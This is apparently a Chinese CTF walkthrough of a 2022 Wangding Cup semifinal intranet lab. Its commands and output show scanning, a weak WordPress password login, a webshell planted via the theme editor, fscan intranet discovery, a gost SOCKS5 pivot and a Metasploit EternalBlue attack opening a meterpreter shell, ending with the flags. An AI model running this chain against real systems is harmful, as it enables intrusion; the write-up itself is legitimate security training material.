2022 网鼎杯半决赛

Haynes...大约 8 分钟

题目来源：2022 网鼎杯半决赛open in new window

获取靶机信息

题目给出 IP：39.101.176.24

在首页中点击发现另一个页面 IP：39.98.202.121

扫描端口、路径

┌──(root㉿kali)-[~]
└─# nmap -sS -sV -p- --min-rate=10000 39.101.176.24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-16 18:20 CST
Nmap scan report for 39.101.176.24
Host is up (0.00020s latency).
Not shown: 65466 closed tcp ports (reset)
PORT      STATE SERVICE    VERSION
20/tcp    open  tcpwrapped
21/tcp    open  tcpwrapped
22/tcp    open  tcpwrapped
23/tcp    open  tcpwrapped
25/tcp    open  tcpwrapped
80/tcp    open  tcpwrapped
110/tcp   open  tcpwrapped
111/tcp   open  tcpwrapped
113/tcp   open  tcpwrapped
135/tcp   open  tcpwrapped
139/tcp   open  tcpwrapped
143/tcp   open  tcpwrapped
199/tcp   open  tcpwrapped
256/tcp   open  tcpwrapped
443/tcp   open  tcpwrapped
445/tcp   open  tcpwrapped
554/tcp   open  tcpwrapped
587/tcp   open  tcpwrapped
993/tcp   open  tcpwrapped
995/tcp   open  tcpwrapped
1025/tcp  open  tcpwrapped
1720/tcp  open  tcpwrapped
1723/tcp  open  tcpwrapped
3306/tcp  open  tcpwrapped
3389/tcp  open  tcpwrapped
4952/tcp  open  tcpwrapped
5900/tcp  open  tcpwrapped
6319/tcp  open  tcpwrapped
7056/tcp  open  tcpwrapped
7802/tcp  open  tcpwrapped
8080/tcp  open  tcpwrapped
8756/tcp  open  tcpwrapped
8888/tcp  open  tcpwrapped
9494/tcp  open  tcpwrapped
11447/tcp open  tcpwrapped
13950/tcp open  tcpwrapped
14867/tcp open  tcpwrapped
17300/tcp open  tcpwrapped
25494/tcp open  tcpwrapped
25547/tcp open  tcpwrapped
26837/tcp open  tcpwrapped
27479/tcp open  tcpwrapped
27538/tcp open  tcpwrapped
28798/tcp open  tcpwrapped
29154/tcp open  tcpwrapped
32263/tcp open  tcpwrapped
34946/tcp open  tcpwrapped
36952/tcp open  tcpwrapped
37973/tcp open  tcpwrapped
39264/tcp open  tcpwrapped
39275/tcp open  tcpwrapped
41465/tcp open  tcpwrapped
42029/tcp open  tcpwrapped
42707/tcp open  tcpwrapped
43642/tcp open  tcpwrapped
44590/tcp open  tcpwrapped
44945/tcp open  tcpwrapped
45613/tcp open  tcpwrapped
45763/tcp open  tcpwrapped
49630/tcp open  tcpwrapped
49647/tcp open  tcpwrapped
52078/tcp open  tcpwrapped
52728/tcp open  tcpwrapped
53516/tcp open  tcpwrapped
53939/tcp open  tcpwrapped
55285/tcp open  tcpwrapped
57728/tcp open  tcpwrapped
58748/tcp open  tcpwrapped
62227/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.78 seconds

┌──(root㉿kali)-[~]
└─# nmap -sS -sV -p- --min-rate=10000 39.98.202.121
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-16 18:21 CST
Nmap scan report for 39.98.202.121
Host is up (0.00026s latency).
Not shown: 65460 closed tcp ports (reset)
PORT      STATE SERVICE    VERSION
21/tcp    open  ftp?
22/tcp    open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
80/tcp    open  http       nginx
110/tcp   open  pop3?
111/tcp   open  tcpwrapped
113/tcp   open  tcpwrapped
135/tcp   open  tcpwrapped
139/tcp   open  tcpwrapped
143/tcp   open  tcpwrapped
199/tcp   open  tcpwrapped
256/tcp   open  tcpwrapped
443/tcp   open  tcpwrapped
445/tcp   open  tcpwrapped
554/tcp   open  tcpwrapped
587/tcp   open  tcpwrapped
993/tcp   open  tcpwrapped
995/tcp   open  tcpwrapped
1025/tcp  open  tcpwrapped
1720/tcp  open  tcpwrapped
1723/tcp  open  tcpwrapped
2839/tcp  open  tcpwrapped
3306/tcp  open  tcpwrapped
3389/tcp  open  tcpwrapped
3946/tcp  open  tcpwrapped
5287/tcp  open  tcpwrapped
5900/tcp  open  tcpwrapped
6621/tcp  open  tcpwrapped
8056/tcp  open  tcpwrapped
8080/tcp  open  tcpwrapped
8164/tcp  open  tcpwrapped
8478/tcp  open  tcpwrapped
8888/tcp  open  tcpwrapped
10429/tcp open  tcpwrapped
11145/tcp open  tcpwrapped
11514/tcp open  tcpwrapped
11834/tcp open  tcpwrapped
12424/tcp open  tcpwrapped
16095/tcp open  tcpwrapped
17101/tcp open  tcpwrapped
17912/tcp open  tcpwrapped
19100/tcp open  tcpwrapped
20817/tcp open  tcpwrapped
22615/tcp open  tcpwrapped
24491/tcp open  tcpwrapped
25275/tcp open  tcpwrapped
26201/tcp open  tcpwrapped
26202/tcp open  tcpwrapped
27092/tcp open  tcpwrapped
27870/tcp open  tcpwrapped
29119/tcp open  tcpwrapped
30303/tcp open  tcpwrapped
30969/tcp open  tcpwrapped
31014/tcp open  tcpwrapped
33484/tcp open  tcpwrapped
33839/tcp open  tcpwrapped
34457/tcp open  tcpwrapped
35957/tcp open  tcpwrapped
38705/tcp open  tcpwrapped
39234/tcp open  tcpwrapped
41698/tcp open  tcpwrapped
49310/tcp open  tcpwrapped
49872/tcp open  tcpwrapped
51017/tcp open  tcpwrapped
53175/tcp open  tcpwrapped
54042/tcp open  tcpwrapped
57271/tcp open  tcpwrapped
59061/tcp open  tcpwrapped
59406/tcp open  tcpwrapped
60197/tcp open  tcpwrapped
60225/tcp open  tcpwrapped
61767/tcp open  tcpwrapped
62282/tcp open  tcpwrapped
62985/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 197.18 seconds

扫描后都发现成吨的端口，但是都是tcpwrapped。

再看看网页路径

┌──(root㉿kali)-[~]
└─# dirsearch -u "http://39.101.176.24/"
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/reports/http_39.101.176.24/__24-04-16_19-35-43.txt

Target: http://39.101.176.24/

[19:35:43] Starting:
[19:35:47] 403 -  278B  - /.ht_wsr.txt
[19:35:47] 403 -  278B  - /.htaccess.bak1
[19:35:47] 403 -  278B  - /.htaccess.orig
[19:35:47] 403 -  278B  - /.htaccess.sample
[19:35:47] 403 -  278B  - /.htaccess_orig
[19:35:47] 403 -  278B  - /.htaccess_extra
[19:35:47] 403 -  278B  - /.htaccess.save
[19:35:47] 403 -  278B  - /.htaccess_sc
[19:35:47] 403 -  278B  - /.htaccessBAK
[19:35:48] 403 -  278B  - /.htaccessOLD
[19:35:48] 403 -  278B  - /.htaccessOLD2
[19:35:48] 403 -  278B  - /.htm
[19:35:48] 403 -  278B  - /.html
[19:35:48] 403 -  278B  - /.htpasswd_test
[19:35:48] 403 -  278B  - /.httr-oauth
[19:35:48] 403 -  278B  - /.htpasswds
[19:35:49] 403 -  278B  - /.php
[19:36:17] 301 -    0B  - /index.php  ->  http://39.101.176.24/
[19:36:17] 404 -    0B  - /index.php/login/
[19:36:19] 200 -    7KB - /license.txt
[19:36:33] 200 -    3KB - /readme.html
[19:36:36] 403 -  278B  - /server-status
[19:36:36] 403 -  278B  - /server-status/
[19:36:49] 301 -  317B  - /wp-admin  ->  http://39.101.176.24/wp-admin/
[19:36:49] 409 -    3KB - /wp-admin/setup-config.php
[19:36:49] 200 -  512B  - /wp-admin/install.php
[19:36:49] 400 -    1B  - /wp-admin/admin-ajax.php
[19:36:49] 200 -    0B  - /wp-config.php
[19:36:49] 302 -    0B  - /wp-admin/  ->  http://39.101.176.24/wp-login.php?redirect_to=http%3A%2F%2F39.101.176.24%2Fwp-admin%2F&reauth=1
[19:36:49] 301 -  319B  - /wp-content  ->  http://39.101.176.24/wp-content/
[19:36:49] 200 -    0B  - /wp-content/
[19:36:49] 500 -    0B  - /wp-content/plugins/hello.php
[19:36:49] 200 -   84B  - /wp-content/plugins/akismet/akismet.php
[19:36:49] 200 -  416B  - /wp-content/upgrade/
[19:36:49] 200 -  478B  - /wp-content/uploads/
[19:36:50] 200 -    0B  - /wp-cron.php
[19:36:50] 301 -  320B  - /wp-includes  ->  http://39.101.176.24/wp-includes/
[19:36:50] 200 -    2KB - /wp-login.php
[19:36:50] 200 -    5KB - /wp-includes/
[19:36:50] 200 -    0B  - /wp-includes/rss-functions.php
[19:36:50] 302 -    0B  - /wp-signup.php  ->  http://39.101.176.24/wp-login.php?action=register
[19:36:50] 405 -   42B  - /xmlrpc.php

Task Completed

寻找漏洞

发现 wordpress 登陆页面，手动尝试了一下弱密码 admin:123456，成功登陆进入后台

在功能列表中找到一个编辑代码的功能，于是写入一句话木马

使用蚁剑连接，成功拿到 flag01

使用蚁剑 webshell 查看内网 IP

(www-data:/var/www/html/wp-content/themes/twentytwentyone) $ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.15.26  netmask 255.255.0.0  broadcast 172.22.255.255
        inet6 fe80::216:3eff:fe26:e1d7  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:26:e1:d7  txqueuelen 1000  (Ethernet)
        RX packets 286575  bytes 310598010 (310.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 139592  bytes 44413703 (44.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 9467  bytes 3812278 (3.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 9467  bytes 3812278 (3.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

上传 fscan 到靶机，扫描内网 IP

./fscan-1.8.3 -h 172.22.15.0/24

172.22.15.13:88 open
172.22.15.24:3306 open
172.22.15.18:445 open
172.22.15.35:445 open
172.22.15.13:445 open
172.22.15.24:445 open
172.22.15.18:139 open
172.22.15.35:139 open
172.22.15.24:139 open
172.22.15.13:139 open
172.22.15.13:135 open
172.22.15.18:135 open
172.22.15.35:135 open
172.22.15.24:135 open
172.22.15.18:80 open
172.22.15.24:80 open
172.22.15.26:80 open
172.22.15.26:22 open
[*] NetBios 172.22.15.35    XIAORANG\XR-0687
[*] NetBios 172.22.15.13    [+] DC:XR-DC01.xiaorang.lab          Windows Server 2016 Standard 14393
[*] NetInfo
[*]172.22.15.24
   [->]XR-WIN08
   [->]172.22.15.24
[*] NetInfo
[*]172.22.15.18
   [->]XR-CA
   [->]172.22.15.18
[*] NetInfo
[*]172.22.15.35
   [->]XR-0687
   [->]172.22.15.35
[*] NetBios 172.22.15.24    WORKGROUP\XR-WIN08                  Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle http://172.22.15.24       code:302 len:0      title:None 跳转url: http://172.22.15.24/www
[*] NetInfo
[*]172.22.15.13
   [->]XR-DC01
   [->]172.22.15.13
[*] NetBios 172.22.15.18    XR-CA.xiaorang.lab                  Windows Server 2016 Standard 14393
[*] OsInfo 172.22.15.13	(Windows Server 2016 Standard 14393)
[+] MS17-010 172.22.15.24	(Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] WebTitle http://172.22.15.18       code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.15.26       code:200 len:39962  title:XIAORANG.LAB
[*] WebTitle http://172.22.15.24/www/sys/index.php code:200 len:135    title:None
[+] PocScan http://172.22.15.18 poc-yaml-active-directory-certsrv-detect

内网环境如下

172.22.15.13 XR-DC01
172.22.15.18 80 XR-CA ADCS
172.22.15.24 80,3306 XR-WIN08 MS17-010
172.22.15.26 本机
172.22.15.35 XR-0687

使用 gost 进行 sock5 转发

# 靶机
./gost -L=socks5://:1025

有个面板，再次使用相同的密码登陆进去 admin:123456 成功进入面板

没发现什么重要漏洞
先看看 windows 的 MS17-010 漏洞，使用 metasploit 搜索

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set proxies socks5:39.101.176.24:1025
set payload windows/x64/meterpreter/bind_tcp
set rhosts 172.22.15.24
exploit

运行结果

┌──(root㉿kali)-[~]
└─# msfconsole
Metasploit tip: The use command supports fuzzy searching to try and
select the intended module, e.g. use kerberos/get_ticket or use
kerberos forge silver ticket

                                   ____________
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a,        |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a,     |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%|       `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%]
 [% .--------..-----.|  |_ .---.-.|       .,a$%|.-----.|  |.-----.|__||  |_ %%]
 [% |        ||  -__||   _||  _  ||  ,,aS$""`  ||  _  ||  ||  _  ||  ||   _|%%]
 [% |__|__|__||_____||____||___._||%$P"`       ||   __||__||_____||__||____|%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a,       ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%        `"$   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]


       =[ metasploit v6.3.55-dev                          ]
+ -- --=[ 2397 exploits - 1235 auxiliary - 422 post       ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set proxies socks5:39.101.176.24:1025
proxies => socks5:39.101.176.24:1025
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 172.22.15.24
rhosts => 172.22.15.24
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] 172.22.15.24:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 172.22.15.24:445      - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 172.22.15.24:445      - Scanned 1 of 1 hosts (100% complete)
[+] 172.22.15.24:445 - The target is vulnerable.
[*] 172.22.15.24:445 - Connecting to target for exploitation.
[+] 172.22.15.24:445 - Connection established for exploitation.
[+] 172.22.15.24:445 - Target OS selected valid for OS indicated by SMB reply
[*] 172.22.15.24:445 - CORE raw buffer dump (53 bytes)
[*] 172.22.15.24:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 172.22.15.24:445 - 0x00000010  30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73  008 R2 Enterpris
[*] 172.22.15.24:445 - 0x00000020  65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50  e 7601 Service P
[*] 172.22.15.24:445 - 0x00000030  61 63 6b 20 31                                   ack 1
[+] 172.22.15.24:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 172.22.15.24:445 - Trying exploit with 12 Groom Allocations.
[*] 172.22.15.24:445 - Sending all but last fragment of exploit packet
[*] 172.22.15.24:445 - Starting non-paged pool grooming
[+] 172.22.15.24:445 - Sending SMBv2 buffers
[+] 172.22.15.24:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 172.22.15.24:445 - Sending final SMBv2 buffers.
[*] 172.22.15.24:445 - Sending last fragment of exploit packet!
[*] 172.22.15.24:445 - Receiving response from exploit packet
[+] 172.22.15.24:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 172.22.15.24:445 - Sending egg to corrupted connection.
[*] 172.22.15.24:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 172.22.15.24:4444
[*] Sending stage (201798 bytes) to 172.22.15.24
[+] 172.22.15.24:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.22.15.24:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.22.15.24:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (10.211.55.4:43221 -> 39.101.176.24:1025) at 2024-04-16 22:15:08 +0800

攻击成功后使用 shell 获取 flag02

meterpreter > shell
C:\Windows\system32>cd C:\\users\\administrator\\flag
C:\Users\Administrator\flag>dir
C:\Users\Administrator\flag>type flag02.txt

Flag

flag01: flag{e035665b-bdf6-4c41-ba52-65b80ad84a2a}
flag02: flag{e2a8bee6-77f3-4f1a-a1ab-c7923f880afe}

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2022 网鼎杯半决赛

获取靶机信息

扫描端口、路径

寻找漏洞

Flag

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